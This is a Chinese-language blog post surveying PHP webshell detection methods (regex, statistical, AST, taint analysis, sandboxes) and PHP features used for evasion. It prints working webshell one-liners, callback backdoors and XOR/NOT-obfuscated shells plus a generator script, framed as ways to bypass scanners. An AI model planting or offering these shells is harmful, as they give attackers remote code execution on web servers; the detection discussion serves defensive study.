WebShell原理回顾

Webshell的恶意性表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。

Untitled Diagram.drawio (4)

这里仅对PHP的一句话木马进行分析,核心步骤如下:

Untitled Diagram.drawio (8)

数据传递

  • 超全局变量:$_GET$_POST$_COOKIES$_REQUEST$_FILE$_SERVER
  • 从远程远程URL中获取数据:file_get_contentscurlsvn_checkout…(将需要执行的指令数据放在远程URL中,通过URL_INCLUDE来读取)
  • 从本地磁盘文件中获取数据: filefile_get_contents…(将需要执行的指令数据放在本地磁盘文件中,利用IO函数来读取)
  • 从数据库中读取(将需要执行的指令放在数据库中,利用数据库函数来读取)
  • 从图片头部中获取: exif_read_data…(将需要执行的指令数据放在图片头部中,利用图片操作函数来读取)

代码执行

  • 命令执行类:通过evalassertsystemcreate_function等函数来执行命令/代码
  • 动态构造类:在php支持的动态构造函数中调用执行命令
  • preg类:正则系列函数可以使用/e模式正则来执行命令
  • 回调函数类:利用回调函数构造的Webshell,覆盖所有的callable类型参数
  • 反射函数类:利用ReflectionFunction等类,以及对应的invoke等方法执行命令
  • 文件包含类:includeinclude_oncerequirerequire_oncefile_get_contents

WebShell主流检测手段

基于正则文本特征

初期对付Webshell基本上都是这种方案,根据已知Webshell使用的函数和参数,使用正则表达式制定相应的黑名单规则。

正则表达式检测法最早被广泛应用,但由于正则文法表达能力不足,以及当前WebShell混淆技术的成熟,导致基于正则的特征选择极易被绕过。

image-20211215224718872

上图检测脚本可以通过以下链接复制:

https://blog.csdn.net/fsdzsec/article/details/53147794

基于统计特征

之后为了对付混淆,人们把视野放到了统计学上,通过统计文本熵,字符串长度,特殊符号个数,重合指数,压缩比等信息制定告警阈值,在对付混淆上有一定的威力。之后随着机器学习的兴起,阈值设置就交给了算法。

Webshell由于往往经过了编码和加密,会表现出一些特别的统计特征,根据这些特征统计学习。但是这种方式着眼于全局,无法顾及局部细节,将混淆的恶意代码插入到正常文件中,基本上就失效了。

所以实践发现这种方法应该只能适用于大马和加密马的检测。

典型的代表:

使用的检测方法:

  • 信息熵(Entropy):通过计算文本ASCII码表的总体熵值来衡量文件的不确定性
  • 最长单词(LongestWord):最长的字符串可能表示潜在的被编码或被混淆
  • 重合指数(Indexof Coincidence):低重合指数指示文件代码潜在的被加密或被混效过
  • 特征(Signature):在文件中搜索已知的恶意代码字符串片段
  • 压缩(Compression):文件的压缩比指示潜在的编码对抗行为
  • 文件的重合指数(IC):种方式可以用来判断文件的加密可能性。
  • 特殊字符串比重:比如一个文件中像^ ~ 等等不常用的符号出现的频率超过一定的值可判断文件是webshell的可疑程度。
  • TLSH:一种新型的模糊 hash 算法,经过测试对比发现比 ssdeep 的速度快了接近一倍。不过有个问题就是不支持太小的文件。
  • 简易模型:引入算法是为了补充规则在覆盖率上的不足,但是以上的算法除了 TLSH 算法之外 ,如果单独使用都会存在误报,所以ShellDaddy引入了一个简单的朴素贝叶斯模型,每种算法各占一些权重。

基于AST语法树

抽象语法树(AST)是一种将原始Webshell文本转换为抽象语法结构的树状表示的一种方法。AST语法树弥补了统计特征的不足,进一步深化,进行语法检测,关注于每个函数和参数,这种方式精确,误报较少。

对于Webshell这种实时编译并执行的语言来说,抽象语法树结构本质上是另一个新的中间语言形态的数据结构,基本过程入下图所示:

Untitled Diagram.drawio (5)

这里使用一个基于PHP-Praser生成AST的工具,我找了很久没找到原作者,就索性放到我的github上了。

项目地址:https://github.com/UlyssesTakusen/vendor

基于上述特征的WebShell检测方法已经能很好的识别Java类的WebShell。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。

动/静态符号执行

现在市面上大部分的WebShell查杀引擎都是基于这种方式去检测的。其本质上是数据流特征分析(污点分析),通过给$_GET$_POST等输入参数打污点的方式,通过污点数据流是否流入敏感函数,来判断是否可疑。大体上有静态和动态两种。

静态污点分析

静态污点分析过程可以分为三个部分,首先发现eval危险函数,之后追踪eval参数$a,发现是在函数test中,然后再跟踪test函数的调用信息,最后锁定调用参数是否外部可控。

典型例子:https://github.com/opensec-cn/chip

动态污点分析

动态模拟执行部分是基于参数赋值+污点分析的方式实现的。通过在运行时对外界参数进行模拟赋值的方式,可以将模拟值(Source点)标记为污点数据,通过追踪污点数据相关的信息是否流向敏感函数(Sink点),以此来发现可通过外界参数控制敏感函数参数的风险行为。

典型例子:https://github.com/laruence/taint

污点传递理论概述

污点传递、或者说污点追踪,是一个泛概念,它在不同的应用领域都可以发挥良好的作用。

一般来说,污点分析可以抽象成一个三元组的形式,其中

  • source 即污点源,代表直接引入不受信任的数据或者机密数据到系统中。
  • sink 即污点汇聚点,代表直接产生安全敏感操作(违反数据完整性)或者泄露隐私数据到外界(违反数据保密性)。
  • processor 即数据流处理,代表整个数据传输和处理的过程(例如加密、编码处理),外部输入的数据经过processor处理后会得到一个适合软件核心模块处理的数据形式。

以PHP为例的污点传递过程

污点分析就是分析程序中由污点源引入的数据,在经过数据流处理后,传播到污点汇聚点后,是否符合预设的策略。这里的策略是一个泛概念,例如:

  • 污点直接被传入了危险的函数中(例如eval)
  • 污点未经编码和转义处理,传入了输出函数中(例如xss漏洞)

Untitled Diagram.drawio (7)

例如,如下WebShell:

1
2
3
4
5
<?php
$func = $_REQUEST['func'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uasort($arr, $func);
?>

这是一个有攻防经验的人很容易看出的回调后门,但因为没有包含evalassert之类的敏感语句或其它敏感的类方法,计算机难以识别。

但人类可以快速识别,运用逻辑分析能力将上面的代码分析成两个步骤:

  1. 用户可控参数被传入到了uasort函数的第2个参数中
  2. uasort 函数的第2个参数为callable类型

按照如下规则将其绘制成图:

  • 所有标识符都对应一个结点
  • 函数调用以及函数参数都分别对应一个结点
  • 如果标识符之间存在数据传递,则按照数据传递方向给结点连边

我们会看到一张清晰的有向图:

image-20211217002809014

这张图中存在一条从绿色用户可控变量经过蓝色其他变量传递,最终到达红色动态特性数据结点的路径。

假如,我们再多加入参数传递和函数调用会变成什么样呢?

例如,如下WebShell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function h($x) {
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uasort($arr, $x);
}
function g($x) {
return h($x);
}
function f($x) {
return g($x);
}
$func = $_REQUEST['func'];

$a = $func;
$b = $a;
$c = [$b];
$e = $c[0];

f[$e];
?>

发现随着代码行数的增加,靠人眼分析已经有点困难了。

那么,要是将其绘制成一个有向图呢?

image-20211217003833467

发现无论怎么假如参数传递、函数调用,这条从用户可控端(绿色方框)到危险函数参数(红色方框)的路径都会存在。因为这份代码无论怎么修改,本质都是将用户输入的数据传递到uasort函数的参数中,来控制执行任意代码。

其实这种基于将代码审计的经验映射到有向图的特征中,让程序自动化地提取这些特征并进行分析,便是大部分的WebShell查杀引擎的检测方法。

基于机器学习/深度学习

主要目标是生成样本在解释执行过程中的行为序列,使用运行行为序列来建立词袋模型,最终对这个词袋模型进行训练和测试。

以PHP脚本为例,有两种类型的运行序列:

  1. 利用VLD编译源码得到的OPCODE序列
  2. 通过Zend OPCODE劫持实现的Runtime OPCODE序列。

由于这个需要大量的Webshell样本训练,目前来看效果可能还是不太好。而有些算法可解释性比较差,不利于运营。而且存在大量误报的可能。这种检测方式仅仅用于少量云查杀引擎中。

沙箱

动态沙箱和静态分析在流程上大同小异。主要区别在于,利用污点追踪技术,沙箱实现了对用户输入的追溯,并能真实执行目标代码。同时沙箱还能收集样本的实时行为并打上标签,如命令执行后门(HEUR.WebShell.Exec)、中国菜刀(HEUR.WebShell.Chopper)等,从而能做出更准确的判断。

image-20211223221352383

显然,沙箱的绕过方法要远远少于静态分析,主要原因还是沙箱真实执行了静态分析中没有分析到位的部分,真正将代码run了起来,使得打断污点传播变得极为困难。

但即使如此,也依然存在绕过可能,除了和静态分析同样对sink和source不覆盖问题,还可以从以下方面考虑。

  • 随机行为绕过
  • 利用定时/延时绕过
  • 文件信息不对称绕过

流量日志检测

这种检测技术属于统计机器学习方法,通过对HTTP访问日志中的URL作为聚类主键,结合攻防领域经验,生成一系列的统计特征。典型的特征如图所示:

图片1

针对修改WebShell管理工具的流量特征这里就不展开讲解了。

可以参考以下几篇文章:

魔改 - 蚁剑:

魔改 - 冰蝎:

魔改 - 哥斯拉:

image-20211217145042051

PHP语法特性

PHP字符串的转义表示

  • 八进制表示:\[0-7]{1,3}(如:”a” === “\141”)
  • 十六进制表示:\x[0-9A-Fa-f]{0,2}(如”a” === “\x61”)
  • Unicode表示:\u{[0-9A-Fa-f]+}(如”a” === “\u{0061}”)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
if ("a" === "\141") {
echo "True ";
}
if ("a" === "\x61") {
echo "True ";
}
if ("a" === "\141") {
echo "True ";
}
if ("a" === "\u{0061}") {
echo "True ";
}
?>

// 输出:True True True True

PHP的不同标记风格

PHP有如下几种标记风格:

  • 标准风格:<?php ... ?>
  • 简短风格:<? ... ?>
  • 脚本风格:<script language="php"> ... </script>(PHP7后被移除)
  • ASP风格: <% ... %>(默认不开启,PHP7后被移除)

PHP-Parser只支持前两个标签,传入一个由 <script> 标签构造的 Webshell ,不识别该标签的检测引擎就会出现绕过。

PHP对未定义字符串的处理

将其直接强行转换成字符串,然后结合PHP可变函数进行利用,绕过单/双引号。

1
2
3
4
5
6
7
<?php 
var_dump(test);
?>

// 输出:
Warning: Use of undefined constant test - assumed 'test' (this will throw an Error in a future version of PHP) in D:\Work\Web\phpstudy_pro\www\test\test.php on line 2
string(4) "test"

在Web应用全局过滤单/双引号的环境下,把后门代码留在某个Controller下,可以使用这个特性避免单双引号。

1
2
3
PASS = eval('print(1)');
等价于:
PASS = eval(base64_decode(cHJpbnQoMSk=));

PHP内建函数 get_defined_functions

PHP自带的get_defined_functions函数包含了所有PHP内建及用户自定义的函数,内建函数会放在internal键中,而用户自定义函数会放在user中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
function foo(){
echo "This is my function foo";
}
$arr = get_defined_functions();
print_r($arr);
?>

// 输出:
Array
(
[internal] => Array
(
[0] => zend_version
[1] => func_num_args
[2] => func_get_arg
…… ……
[1098] => openssl_pkey_derive
[1099] => openssl_random_pseudo_bytes
[1100] => openssl_error_string
)

[user] => Array
(
[0] => foo
)

)

可以使用get_defined_functions['internal'][xx]获取特定的函数,如assertcreate_function等,绕过语义分析中的sink点黑名单。

PHP通过define()定义常量数组

Array类型的常量现在可以通过define()来定义。在PHP5.6中仅能通过const定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
// 使用 const 关键字定义的常量总是大小写敏感的,而使用 define() 函数定义的常量可能不区分大小写。
// 使用 const 关键字定义常量必须处于最顶端的作用域,因为用此方法是在编译时定义的。这就意味着不能在函数内。

// 以下代码在PHP 5.3.0 后可以正常工作
const CONSTANT = 'Hello World';
echo CONSTANT;
echo "<hr>"; // 输出 "Hello World"

// PHP 5.6.0 后的写法
const ANOTHER_CONST = CONSTANT.";Goodbye World";
echo ANOTHER_CONST;
echo "<hr>"; // 输出 "Hello World;Goodbye World"

const ANIMALS_1 = array('dog', 'cat', 'bird');
echo ANIMALS_1[1]; // 将输出 "cat"
echo "<hr>";

// PHP 7 中的写法
define('ANIMALS_2', array(
'dog',
'cat',
'bird'
));
echo ANIMALS_2[1]; // 将输出 "cat"
?>

PHP返回值类型声明

PHP 7 增加了对返回值类型声明的支持。类似与参数类型的声明,返回类型的声明指明了函数返回值的类型。可用的类型与参数声明中可用的类型相同。

1
2
3
4
<?php
function a():int{
...
}

就是函数返回值类型为int。否则会强制转换或者显示语法错误。如果未更新此特性的查杀软件,就不会认识此函数,导致被绕过。

全局变量-参数传递

超全局变量

$_GET

用来获取由浏览器通过GET方法提交的数据。

1
<?php eval($_GET['cmd']); ?>
$_POST

用来获取由浏览器通过POST方法提交的数据。

1
<?php eval($_POST['cmd']); ?>
$_REQUEST

用来获取由浏览器通过POST方法提交的数据。

1
<?php eval($_REQUEST['cmd']); ?>

用来获取由浏览器COOKIE中的数据。

1
2
3
4
<?php  
$a = $_COOKIE['cmd'];
assert(urldecode($a));
?>
$_FILE

用来获取通过 POST 方法上传文件的相关信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head></head>
<body>
<form enctype="multipart/form-data" action="test.php" method="POST">
<input name="userfile" type="file" />
<input type="submit" value="Send File" />
</form>
</body>
</html>

<?php
$a = $_FILES[userfile][name];
eval(base64_decode($a));
?>

这里上传的文件名就是我们的payload(base64编码后),发送后便可执行代码。

image-20211217221334960

image-20211221215952226

$_SERVER

包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。

1
2
3
4
5
<?php 
eval(substr($_SERVER['QUERY_STRING'],4));
?>

// ?cmd=phpinfo();
$_ENV

是一个包含服务器端环境变量的数组

1
2
3
4
5
<?php 
eval(substr($_ENV['QUERY_STRING'],4));
?>

// ?cmd=phpinfo();

注:需要修改php.ini文件的 variables_order值为EGPCS(默认为GPCS

EGPCSEnvironmentGetPostCookiesServer的缩写

$GLOBALS全局变量

$GLOBALS的作用是引用全局作用域中可用的全部变量。

  • $GLOBAL['_GET'] == $_GET
  • $GLOBAL['_POST'] == $_POST
  • $GLOBAL['_REQUEST'] == $_REQUEST
  • $GLOBAL['_COOKIE'] == $_COOKIE
  • $GLOBAL['_FILE'] == $_FILE
  • $GLOBAL['_SERVER'] == $_SERVER
  • $GLOBAL['_ENV'] == $_ENV

使用方法与超全局变量一样

PHP变长参数

变长参数是PHP5.6新引入的特性。

和Python中的**kwargs,类似。在PHP中可以使用func(...$arr)这样的方式,将$arr数组展开成多个参数传入func函数。

可以结合回调函数构造WebShell:

1
2
3
4
<?php usort(...$_GET);?>

// ?1[]=1-1&1[]=eval($_POST['x'])&2=assert
// [POST] x=phpinfo();

image-20211218214601169

注:PHP7不允许assert函数通过动态函数回调

PHP7下表达式执行顺序

image-20211218215505848

PHP7之前是不允许用($a)();这样的方式来执行动态函数的,但PHP7中增加了对此的支持,利用这个特性执行phpinfo()的多种方式如下:

1
2
3
4
5
<?php
(("phpinfo"))();
('phpinfo')()
"phpinfo"()
?>

异或取反运算

该利用方式是通过 “ ^ “( 异或运算符 ) 和 “ ! “( 取反运算符 ) 组成一个WebShell。

异或运算

1
2
3
4
5
6
7
8
<?php
$_=('!'^'@').('('^'[').('('^'[').('%'^'@').('/'^']').(')'^']'); // $_='assert';
$__='_'.('+'^'{').('/'^'`').('('^'{').('('^'|'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

// [POST] _=phpinfo()

可以使用国光师傅写的一个脚本生成一个异或结果字典:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import string
from urllib.parse import quote

keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []


for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
else:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)

results.sort(key=lambda x:x[1], reverse=False)

for low_case in string.ascii_lowercase:
for result in results:
if low_case in result:
print(result[0])

for upper_case in string.ascii_uppercase:
for result in results:
if upper_case in result:
print(result[0])

脚本运行效果如下:

1
python3 xxx.py > results.txt

最终会生成1k多条结果,并按顺序排列。

image-20211222215134978

取反运算

与异或运算有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。

这里利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

image-20211222221401125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
?>

// [POST] 2=phpinfo()

这里还利用了PHP的弱类型特性。因为要获取’和’{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是(‘>’>’<’)+(‘>’>’<’)==2。

上面这种方法看起来真的很酷炫 , 但是尽管变化成这样 , 还是有很多 WAF 可以检测到的。

字符串变形与编码

  • substr():返回字符串的一部分
  • strtr():转换字符串中特定的字符
  • str_replace():其他字符替换字符串中的一些字符
  • substr_replace():把字符串的一部分替换为另一个字符串
  • trim():移除字符串两侧的空白字符或其他预定义字符
  • base64_encode():对使用 MIME base64 编码的数据进行编码
  • base64_decode():对使用 MIME base64 编码的数据进行解码
  • chr():从指定的十进制ASCII编码返回字符
  • hexdec():十六进制转换为十进制
  • str_rot13():对字符串执行 ROT13 编码。

注:字符串的变形可以很容易地绕过安全狗,但对于D盾的话效果甚微。

下一节我将结合主流的WebShell查杀引擎,通过绕过Source点、Sink点与绕过数据流处理检测对Webshell进行科学免杀。


参考资料